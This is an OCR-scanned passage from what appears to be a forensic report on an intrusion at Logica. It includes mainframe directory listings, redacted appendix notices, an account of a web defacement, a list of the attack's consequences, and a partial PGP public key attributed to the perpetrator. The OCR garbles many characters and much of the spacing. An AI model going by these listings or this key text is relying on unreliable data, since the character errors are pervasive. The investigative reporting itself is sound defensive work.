1 5 6 3 9 6  Oct  1 6  

7 7 5 7 Oct  1 6  
7 0 7 0 1  Oct 1 6  

7 5 0 0 9 8 Oct  1 6  
1 4 8 4 2 9  Oct  1 6  
7 0 3 6 3 0  Oct  1 6  
4 5 1 2 6  Oct 1 6  

1 1 4 2 Oct  1 6  
1 1 4 2  Oct  1 6  

2 0 0 7  I BM 
2 0 0 8  c i c s ibrn . tgz  

2 0 0 8  OFJÖH 1 7 6  
2 0 0 7  OFJÖH 1 7 7  
2 0 0 7  OFJÖH 1 7 8  
2 0 0 7  OFJÖH 1 7 9  
2 0 0 7  OFJÖH 1 8 0  
2 0 0 7  OFJÖH 1 8 2  
2 0 0 7  OFJÖH 1 8 3  
2 0 0 7  OFJÖH 1 8 4  
2 0 0 7  OFJÖH 1 8 6  
2 0 0 7  OFJÖH 1 8 7  
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- rwxr-xr-x  l SUPERUSR SY S l  1 2 8 3 D 2 O c t  1 6  2 D D 7  DFJÖH2 2 9  
- rwxr-xr-x  l SUPERUSR SY S l  3 1 D 4 8 1  O c t  1 6  2 D D 7  DFJÖH2 3 D  
- rwxr-xr-x  l SUPERUSR SY S l  5 7 9 D O c t  1 6  2 D D 7  DFJÖH2 3 1  

. / SYS TEM/ tmp / s ys l ogd :  

. / SYS TEM/ tmp /u D : 

. / SYS TEM/ tmp /uads : 
total  2 4 8 8  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 3 7 7  Mar 5 1 4 : D 7 adys et D D  
- rwxrwxrwx l SUPERUSR D 3 8 4  8 9 1 Mar 5 1 4 : D 7 adys e t D l  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 D 5 3  Mar 5 1 4 : D 7 adyse t D 2  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 2 3 4 Mar 5 1 4 : D 7 a l l oc D D  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 D 5 3  Mar 5 1 4 : D 7 antmin D D  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 1 3 4  Ma r 5 1 4 : D 7 antxin D D  
- rwxrwxrwx l SUPERUSR D 3 8 4  9 9 1 3  Mar 5 1 4 : D 7 appcpmD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  3 1 9 7 Mar 5 1 4 : D 7 a s chpmD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  3 4 8 3 Mar 5 1 4 : D 7 axr D D  
- rwxrwxrwx l SUPERUSR D 3 8 4  8 9 1 D D  Mar 5 1 4 : D 7 bpxprmD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  1 9 6 4 7 Ma r 5 1 4 : D 7 bpxprm9 9 
- rwxrwxrwx l SUPERUSR D 3 8 4  3 1 5 7 Ma r 5 1 4 : D 7 bpxprmfs 
- rwxrwxrwx l SUPERUSR D 3 8 4  5 4 2 7  Mar 5 1 4 : D 7 ceaprmD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  1 4 1 8 8  Mar 5 1 4 : D 7 ceeprmD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  1 4 1 1 2 Mar 5 1 4 : D 7 ceeprm9 9 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 D 3  Mar 5 1 4 : D 7 c lockD D 
- rwxrwxrwx l SUPERUSR D 3 8 4  1 2 9  Ma r 5 1 4 : D 7 c locksu  
- rwxrwxrwx l SUPERUSR D 3 8 4  1 2 8  Mar 5 1 4 : D 7 c lockwi 
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 4  Mar 5 1 4 : D 7 cngrp D D  
- rwxrwxrwx l SUPERUSR S TCGROUP 4 1 3 1 Mar 5 1 4 : D 7 c o fvl f D D  
- rwxrwxrwx l SUPERUSR S TCGROUP 1 3 7 7  Mar 5 1 4 : D 7 commndD D 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 3 7 7  Mar 5 1 4 : D 7 commnd9 9 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 6 2 D  Mar 5 1 4 : D 7 commndxx 
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 8 4  Mar 5 1 4 : D 7 conso l D D  
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 7 D  Mar 5 1 4 : D 7 conso l 9 9  
- rwxrwxrwx l SUPERUSR S TCGROUP 1 8 6 3 Mar 5 1 4 : D 7 couple D D  
- rwxrwxrwx l SUPERUSR S TCGROUP 1 4 3 4  Mar 5 1 4 : D 7 couple D l  
- rwxrwxrwx l SUPERUSR S TCGROUP 1 8 6 3 Mar 5 1 4 : D 7 couple l 9  
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- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- rw x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- r w x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- r w x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- rw x r w x r w x  

- r w x r w x r w x  

l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 

1 4 3 4  Mar 
1 8 0  Mar 
1 8 0  Mar 

1 0 2 1  Ma r 
8 1  Ma r 

3 2 4  Mar 
8 1  Ma r 
8 1  Mar 
2 3  Mar 
8 1  Mar 

2 4 3  Mar 
8 1  Mar 
8 1  Mar 
8 1  Mar 
4 2  Mar 

3 3 2 1  Ma r 
5 7 5 1  Mar 
5 0 2 2  Mar 
4 2 1 2 Mar 
3 7 9 3 Ma r 
7 7 0 4  Mar 
3 9 5 8  Ma r 
2 7 5 4  Mar 
1 8 9 6 Mar 
2 9 1 6  Mar 
3 0 7 8  Ma r 
2 7 5 5 Mar 
4 0 5 0  Mar 
3 9 1 8  Mar 
2 5 9 2 Mar 
3 3 2 1  Mar 
3 3 2 1  Mar 
3 4 8 3 Mar 
3 2 4 0  Mar 
8 4 2 4  Mar 
6 1 7 9  Mar 
4 3 7 4  Mar 
3 8 1 8  Mar 

5 1 4 : 0 7 coup1e 9 9  
5 1 4 : 0 7 c s fprm1 9 
5 1 4 : 0 7 c s fprm9 0  
5 1 4 : 0 7 c s fprms j 
5 1 4 : 0 7 c svl l a O O  
5 1 4 : 0 7 c svl l aad 
5 1 4 : 0 7 c svl l abs  
5 1 4 : 0 7 c svl l adl 
5 1 4 : 0 7 c svl l a fa 
5 1 4 : 0 7 c sv1 l a ip 
5 1 4 : 0 7 c svl l are 
5 1 4 : 0 7 c svl l arm 
5 1 4 : 0 7 c svl la sd  
5 1 4 : 0 7  c svl l a s s  
5 1 4 : 0 7 c sv1 l asu 
5 1 4 : 0 7 ctiaxrO O 
5 1 4 : 0 7  ct ibpxO O 
5 1 4 : 0 7 ct ibpx0 1  
5 1 4 : 0 7 c t icea O O 
5 1 4 : 0 7 ctidmdO O 
5 1 4 : 0 7 ctie zbO O 
5 1 4 : 0 7  ctie zbtn 
5 1 4 : 0 7 ctigr s O O  
5 1 4 : 0 7 ctihs a z z  
5 1 4 : 0 7  ctihwi O O  
5 1 4 : 0 7 ctihz s O O  
5 1 4 : 0 7 c t i ids O O  
5 1 4 : 0 7 c t i i e fal  
5 1 4 : 0 7 cti i ke O O  
5 1 4 : 0 7 c t i itt O O  
5 1 4 : 0 7 ct i j e s 0 1  
5 1 4 : 0 7 c t i j e s 0 2  
5 1 4 : 0 7 c t i j e s 0 3  
5 1 4 : 0 7 c t i j e s 0 4  
5 1 4 : 0 7 cti logO O 
5 1 4 : 0 7 c t infc O O  
5 1 4 : 0 7 ctinf s O O  
5 1 4 : 0 7 ctins s O O  
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- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
-rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 

l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR D 3 8 4  
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 

3 2 5 2 Mar 
3 5 6 4 Mar 
3 9 6 1 Mar 
3 9 3 3  Ma r 
1 6 2 0  Ma r 
2 9 9 7 Mar 

8 1  Mar 
1 7 8 2 Mar 
1 5 3 9  Mar 

3 1  Mar 
2 5 1 1  Mar 
1 6 2 0  Mar 
1 6 2 0  Mar 
2 5 1 1  Mar 

1 0 2 8 7  Ma r 
9 9 6 3 Mar 
4 2 3 7  Mar 
2 7 5 3 Mar 
2 7 6 1 Mar 
5 0 2 2  Mar 
3 6 4 5  Mar 

1 6 2 Mar 
1 3 8 5 1  Mar 
1 4 6 6 1 Mar 
1 0 3 1 2  Mar 

8 7 2 9  Mar 
8 0 0  Ma r 
8 3 1  Mar 

1 0 4 7  Mar 
3 5 5  Mar 
4 8 6  Mar 
4 8 6  Mar 
3 9 5 Mar 
4 8 6  Mar 
1 6 2 Mar 

2 1 0 6  Mar 
3 6 0  Mar 

1 4 5 8 Mar 

5 1 4 : 0 7 ctinta O O  
5 1 4 : 0 7  c t iop s O O  
5 1 4 : 0 7 ctiora O O  
5 1 4 : 0 7 c t i re s O O  
5 1 4 : 0 7 c t ir smO l 
5 1 4 : 0 7 c t ir smsp 
5 1 4 : 0 7 cti sms O O  
5 1 4 : 0 7 ctixc f O O  
5 1 4 : 0 7 ctixe s O O  
5 1 4 : 0 7 dfhs s i O O  
5 1 4 : 0 7 diagO O 
5 1 4 : 0 7 diagO l 
5 1 4 : 0 7 diag 0 2  
5 1 4 : 0 7 diag 9 9  
5 1 4 : 0 7 edgrmmO O 
5 1 4 : 0 7 edgrmm9 9 
5 1 4 : 0 7  e rbrmf O O  
5 1 4 : 0 7 e rbrmf0 4 
5 1 4 : 0 7 e rbrmfo4  
5 1 4 : 0 7 e z act i O O  
5 1 4 : 0 7 grscn f O O  
5 1 4 : 0 7 gtfu s r  
5 1 4 : 0 7 h sambebj 
5 1 4 : 0 7 h saprmse 
5 1 4 : 0 7 h z sprmO O 
5 1 4 : 0 7 h z sprm9 9 
5 1 4 : 0 5 ibmuser O  
5 1 4 : 0 7 i ceprmO O 
5 1 4 : 0 7 i ceprm9 9 
5 1 4 : 0 7 i eaapp O O  
5 1 4 : 0 7 ieacmdO O 
5 1 4 : 0 7 ieacmd9 9 
5 1 4 : 0 7 i eafixO O 
5 1 4 : 0 7 iealpa O O  
5 1 4 : 0 7 i ealpa 9 9  
5 1 4 : 0 7 i eaopt O O  
5 1 4 : 0 7 i eaopt 9 9  
5 1 4 : 0 7 i eapa kO O 
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- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 
-rwxrwxrwx 
-rwxrwxrwx 
- rwxrwxrwx 
- rwxrwxrwx 

l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 
l SUPERUSR S TCGROUP 

9 3 6  Mar 5 1 4 : 0 7 ieasvc O O  
3 3 8 4  Mar 
2 4 3  Mar 
8 9 1 Mar 

2 6 3 9  Ma r 
2 5 0 6  Mar 
3 1 4 8  Mar 

8 1 0  Mar 
2 1 9 0 Mar 
2 2 4 3  Mar 
9 6 8 7  Mar 
1 4 8 9  Mar 

2 0 4 1 2 Mar 
2 0 3 3 1  Mar 

2 9 8 3  Mar 
3 1 3 4 Mar 

6 5 2  Mar 
2 9 8 3  Mar 
1 9 4 8  Mar 
2 5 7 8  Mar 

5 5 4 5 0  Mar 
5 4 4 4 1  Mar 
5 6 9 7 4  Mar 

3 3 2 1  Mar 
3 2 4  Mar 
2 9 3 Mar 
3 2 4  Ma r 

1 8 6 3 Ma r 
1 9 4 4  Mar 

5 8 4 8 2  Mar 
1 6 4 Mar 

2 2 8 4 2  Mar 
5 6 7 Mar 
8 1 0  Ma r 

1 8  Mar 
5 0  Mar 

8 7 5  Mar 
3 6 2 7  Mar 

5 1 4 : 0 7 ieasvc 9 9  
5 1 4 : 0 7 i ea symO O 
5 1 4 : 0 7 i ea sym9 9 
5 1 4 : 0 7 i ea sys O O  
5 1 4 : 0 7 i easys l 9  
5 1 4 : 0 7 i easys 9 9  
5 1 4 : 0 7 i ec io s O O  
5 1 4 : 0 7 i e f s s n O O  
5 1 4 : 0 7 i e f s s n 9 9  
5 1 4 : 0 7 i faprdO O 
5 1 4 : 0 7 i gdsms O O  
5 1 4 : 0 7 i kj t s o O O 
5 1 4 : 0 7 i kj t s o 9 9  
5 1 4 : 0 7 i oe fsprm 
5 1 4 : 0 7 i oeprmO O 
5 1 4 : 0 7 i oeprm9 9 
5 1 4 : 0 7 i oe z s 0 0 1  
5 1 4 : 0 7 i rropt O O  
5 1 4 : 0 7 i rropt 9 9  
5 1 4 : 0 7 i s fprmO O 
5 1 4 : 0 7 i s fprm9 9 
5 1 4 : 0 7 i s fprmoo 
5 1 4 : 0 7 ivtprmO O 
5 1 4 : 0 7 l oadO O 
5 1 4 : 0 7 l oad1 9 
5 1 4 : 0 7 l oad9 9 
5 1 4 : 0 7 lpal s t O O  
5 1 4 : 0 7  lpal s t 9 9  
5 1 4 : 0 7 mpfl s t O O  
5 1 4 : 0 7 mpfl s t 0 1  
5 1 4 : 0 7 mpfl s t 6 1  
5 1 4 : 0 7 mst j c l O O  
5 1 4 : 0 7 mst j c l 9 9  
5 1 4 : 0 7 nucl s t O O  
5 1 4 : 0 7 nucl s t 9 9  
5 1 4 : 0 7 pansys O O  
5 1 4 : 0 7 p fktabO O 
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drwxr-x- - - 2 SUPERUSR D 3 8 4  2 0 4 8 0  Mar 5 1 4 : 1 3  procl ib 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 4 6 6 1 Mar 5 1 4 : 0 7 proga O 
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 4  Mar 5 1 4 : 0 7  proga l 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 6 2 Mar 5 1 4 : 0 7 proga2 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 4 5 8  Ma r 5 1 4 : 0 7 p roga 3 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 6 2 Mar 5 1 4 : 0 7 proga 4 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 4 9 8 5  Mar 5 1 4 : 0 7 proga 9 
- rwxrwxrwx l SUPERUSR S TCGROUP 4 8 6  Ma r 5 1 4 : 0 7 progcg 
- rwxrwxrwx l SUPERUSR S TCGROUP 8 8 7  Ma r 5 1 4 : 0 7 proge O 
- rwxrwxrwx l SUPERUSR S TCGROUP 7 6 1 4  Mar 5 1 4 : 0 7 progl O 
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 4  Ma r 5 1 4 : 0 7 p rogl l 
- rwxrwxrwx l SUPERUSR S TCGROUP 2 2 6 8 Mar 5 1 4 : 0 7 progl 2 
- rwxrwxrwx l SUPERUSR S TCGROUP 2 4 3  Mar 5 1 4 : 0 7 progl 3 
- rwxrwxrwx l SUPERUSR S TCGROUP 4 8 6  Mar 5 1 4 : 0 7 progl 4 
- rwxrwxrwx l SUPERUSR S TCGROUP 3 2 4  Ma r 5 1 4 : 0 7 progl 7 
- rwxrwxrwx l SUPERUSR S TCGROUP 5 1 0 3 Mar 5 1 4 : 0 7 progl 9 
- rwxrwxrwx l SUPERUSR S TCGROUP 7 1 2 8  Mar 5 1 4 : 0 7 proglx 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 8 4 7  Mar 5 1 4 : 0 7 s chedO O 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 1 2 1 0  Mar 5 1 4 : 0 7 s ched9 9  
- rwxrwxrwx l SUPERUSR S TCGROUP 7 8 5 7 Mar 5 1 4 : 0 7 smfprmO O 
- rwxrwxrwx l SUPERUSR S TCGROUP 1 5 7 8  Ma r 5 1 4 : 0 7 smfprm9 8  
- rwxrwxrwx l SUPERUSR S TCGROUP 8 6 6 7 Mar 5 1 4 : 0 7 smfprm9 9 
- rwxrwxrwx l SUPERUSR S TCGROUP 2 1 8 7 Mar 5 1 4 : 0 7 t s o keyO O 
- rwxrwxrwx l SUPERUSR S TCGROUP 8 1  Mar 5 1 4 : 0 7 vat l s t O O  

. / SYS TEM/ tmp / uads /procl ib : 

. / SYS TEM/ tmp / xx : 
total  4 8  
drwxr-xr-x  2 SUPERUSR D 3 8 4  8 1 9 2 May 1 3  2 0 0 7  hod 
drwxr-xr-x  2 SUPERUSR D 3 8 4  8 1 9 2 May 1 3  2 0 0 7  i n fodata 
drwxr-xr-x  2 SUPERUSR D 3 8 4  8 1 9 2 May 1 3  2 0 0 7  s ema 

. / SYS TEM/ tmp / xx /hod : 
total  O 

. / SYS TEM/ tmp / xx / i n fodata : 
total  o 
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. / SYS TEM/ tmp / xx / s ema : 
total  O 
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App endix S :  

applicate. 

Results of s canning and information gathering from the servers in the DMZ used by 

The content of this attachment has been removed from this version of the report due to confidentia l ity req u i rements. 
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App endix T: Network services provided to eostomers to SY19 

T h e  content of this attach ment h a s  been removed from this version o f  t h e  report d u  e t o  confidentia l ity req u i rements. 
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App endix U :  Network services provided t o  eostomers t o  SYS3 

The content of this attach ment has  been removed from this version of the report d u  e to confidentia l ity req u i rements. 
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Technical investigation side track "Logica Staff' 

Since this track has been put a s ide by the pol ice investigation contents of the appendix has  been 

removed from this version of the report by Logica Secu rity staff due to p rivacy cancerns. 
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Report 

Since information i n  this  appendix is not expected to support the pol ice investigation it has been 

removed in  this version of the re port. 
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Report 

Since information in this appendix is not expected to support the police investigation it has been 

removed in this version of the report. 
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SCAP 0 0 2 3  f www.wmdata.* investigative side 

The SCAP0023 serve r i s  a serve r hosti ng web pages for Log i  ca ,  not the i r customers .  The web pages 

and the doma i n s  associ ated with that system is  to host a legacy we b for one of the previous  

com pa ny na mes and  cam pa n ies that make up  the cu rrent Logica com pa ny. The o ld  company was 

name "WM Data".  

The i nc ident i nva lv i ng SCAP0023 was re l ated to defaced web s i tes, e .g .  u n author ized a n d  m a l ic ious ly  

cha nged web pages. 

The deta i led  i nfo from this i nc ident i s  based on perform i ng a na lys i s  of the d i s k. 

SCAP0023 i s  a w indows server system run n i ng 1 1 5 . 
The defacement  was added on  m u lt i p l e  web s ited hosted by the SCAP0023 server on a ugust 2011,  

thus  ma  ny months before the (cu rrent) i nc ident i nva lv ing the ma i nfra me .  

A farens ic  i nvestigation  was  i n it i ated on the  d i s ks tha t  have been  part o f  the  system .  The 

i nvestigat ion showed that the  defacement where performed with a utomated too l s .  And that the 

system where attacked and i nfi l trated m u lt i p l e  t i mes .  
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By the cooperat ion esta b l i shed with the Tax a uthorit i es, we were i nformed of a susp ic ious ma lwa re 

sp read that seemed to be ma i l ed by e-ma i l  to certa i n  n a med persons i ns ide the orga n ization .  

The  ma lwa re tea m  at Logica performed a specif ic i nvestigation  to  see  if th i s  atta ck was  performed 

aga i nst Log ica . No  evidence was found  that th i s  had  ha ppened .  A lthough there is sti l l  a n  open issue 

and a sepa rate task that s hou l d  be i nvestigated outs ide th i s  work. 
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This a ppendix has been removed from this version of the report d u  e to confid ential ity 

req u i rements. 
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Appendix BB:  

the attack 

Consequences of an incident & consequences of 

An i nc ident of this s i ze ca n have ma ny d iffe rent consequences on ma ny d i ffe rent leve l s .  The 

consequences ca n i nc l ude  tech n i ca l conseq uenses to the actua l  computer envi ronment, it ca n h ave 

consequences to the staffi ng a nd  operat ion of the camputi ng envi ronment, a nd  it ca n have 

consequences to the bus iness .  

Technical consequenses 

Techn ica l  conseq uenses i nc l ude :  

1 .  I nformation  lea kage 

2. I nsta l l at ion of backdoors in the operati ng system, breach ing the system i ntegrity as we i l  as 

m a ki ng it poss ib l e  

3 .  Theft of  a uthenticat ion i nformat ion, such  as  passwords, encrypt ion keys, e lectron i c  

cert ifi cates, etc 

The extended conseq uences of these actions  i nc l ude :  

1 .  l m pact on system i ntegrity 

2 .  l m pact on  data  i ntegrity 

3 .  l m pact on  system confidenti a l ity 

Business consequenses 

Th is type of attack wi l l  have an i m pact on existi ng bus i ness as we i l  as  u pcom i ng bus iness and ma rket 

activities .  

Same of the more d i rect a n d  deta i l ed bus i ness conseq uenses i nc l ude :  

1 .  Loss or  u n a uthorized acces to confidenti a l  i ntema l  Logi ca i nformat ion 

2 .  Loss or  u na uthorized acces to str ict ly confidenti a l  i ntema l  Log ica i nformat ion 

3 .  Loss or  u n a uthorized acces to confidenti a l  i ntem a l  customer i nformat ion 

4.  Loss or  u na uthori zed acces to str ict ly confi dentia l  i ntema l  customer  i nformat ion 

Other  types of i m pact ca n i n cl u de :  

• Bra nd  i m pact 
• l m pact on  trust for servi ces 
• l m pact on  trust for prod ucts 
• l m pact on trust i n  ce rta i n  ma rkets 
• l m pact on  trust with govem ment agenc ies 
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Since information in this appendix is not expected to support the po/ice investigation it has been 

removed in this version of the re port. 
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Since information in this appendix is not expected to support the police investigation it has been 

removed in this version of the re port. 
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Appendix E E :  Accounts with cracked passwords found on the 

perpetrators computer 

This attachment has been removed from this version of the report du e to confidentia l ity 

req uirements. 
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Th i s  pub l i c  pgp key was found  on the ma i nfra me .  F rom ou r sou rces, we ca n n ot fi nd  a good reson for 

it to be the re, except that the pe rpetratar have put  it t here .  

What i s  stra nge is that the private pgp key was ava i l a b le .  That  was a s ign that someth i ng  was not 

correct. If it ha  d just been the pub l i c pgp key, it cou l d  have been that the  key we re to be used by 

som e software.  B ut now with the private key ava i l a b le  as  we i l - a key that shou ld  not have l eft the 

mach i ne  where it was once created and  where that service i s  ru n n i ng - we d raw the conc l us ion  that  

th i s  m ight be a fi l e  down loaded and  used by the perpetrator. 

Please note - the private key is not Iisted in this report on purpose. For security reasons we have 

excluded this. 

- - - - -BEGIN PGP PUB L I C  KEY BLOCK- - - - -

Ve r s i o n : PGP D e s ktop 1 0 . 0 . 1  ( B u i l d  4 0 2 0 )  

mQENBE 4 2 m3 kBCACwgWXJnYCRnPxxU5 ZxXRK 8 GdZ j Q 9 y+ + 3 vHQwE 6 5 a l yV 4 Gwx S E F  

fYMW+ S +x 7 c Z z Hv 6 3 RF 5 DGJS fVY knxNydVt 2 7m1 Je 3 P nQ i 3 z akorm2 S Gpk 4 e L s xki 

F 6vkl + kp 8 yB 4 3 Z cVV7 ni QNNi 8 0 9 / Qbe j dkZE s lwGJi dEBrA6BBm 7 r ew i i xH Pw+ 6A 

DqrA S P aLEDVS YRphHQN I G S Fd2Nj u l g 3 H SGdHdxM+A2 G Z z 8 udO KoQMl Y 7 V 7 1 S 8 yFp 

OGVM / z 0 1 opWiNmQRy2 WOE P ch 8 z s H F 6 u s uBMF l i N 8 5 2 I ryPJOi p z l QpKKVnJXq3 7 G  

4 HAl S PAvF3 qKg+TqDDh i qFLTBi ZA/BgWPmVrABEBAA G O KVJFWC 9 T dXB yb yA 8 c 2Vy 

dml j ZWNlbnRl c kB z a 2 F O dGV2 ZXJrZXQu c 2 U+ iQ F s BBABAgBWBQJONpt 5BQkD f i eA 

MB SAAAAAACAAB 3 ByZWZ l cnJl Z C 1 lbWFpbC l l bmNv Z G l u Z O BwZ 3AuY2 9 t c GdwbWl t  

Z QULBwgJAg i ZAQUbAQAAAAUeAQAAAAMVCAoACgkQGDqf L 5 2 Rl zv g 6 ggAm 7 qws qDE 

gVN f +VkDGW ZnUo Fqt i 3 c 6 6pmTWkb S 3 iR+Xy0 de p i p 0 WvB 1 C o 1 5 rM2WS U c 0 W fUKsb 

Lums 8m3 0 4 HuOHE C e 9B +Vdt 9WlxQ i a 4 Z PXknUcg / O j r Pbp0 1 Ge SwAeWW S F q 0 7 UKP Z 

b j aeLkuZ kJcW l d Pwv 6 5KP 8 tG 6Mn 9 YWB fKCRT rOKa i C Gp kr 9 lmewF 9Np o 2 5 0 DW+ l l  

vVFp k+ ONK5 i C i aubRGqe 5 o 7N 9 C GkdNodrzVQUNhnRw 3 LvnopsWH l lX 9 z P 9 T O s 9 P 7  

B n z U j NhBnTHBvxWOOMZ FVJEn 7Vsqe o F 8 QK 8 x 6 1 8v 3 2 D 6 t 7 + /WvY 8 uNXEg z KAI F 3 4  

J 9 qdp 7 f O FJ Z SN7 kAj QRN 7 y ZbAQQAuWL 9R4 0 r dye S +p t 7 c /N+ 6 l o T aBeKKE z L2 BJF 

qf 1 e 1 Jy2 n z hppxX i l a ZVwl j i r T qT S yc g 4 GM1 RdO / FOQq / k i 6 T H f a 6 oqLLF2 lxpUO 

p i 6 L + s s C KE s 7 q5meEDFD 5 H 5 1 2NQB 2MVr D i xU fmGExgCkkAo 2bW2 4 6KG 6AF2 0 / + Z 3  

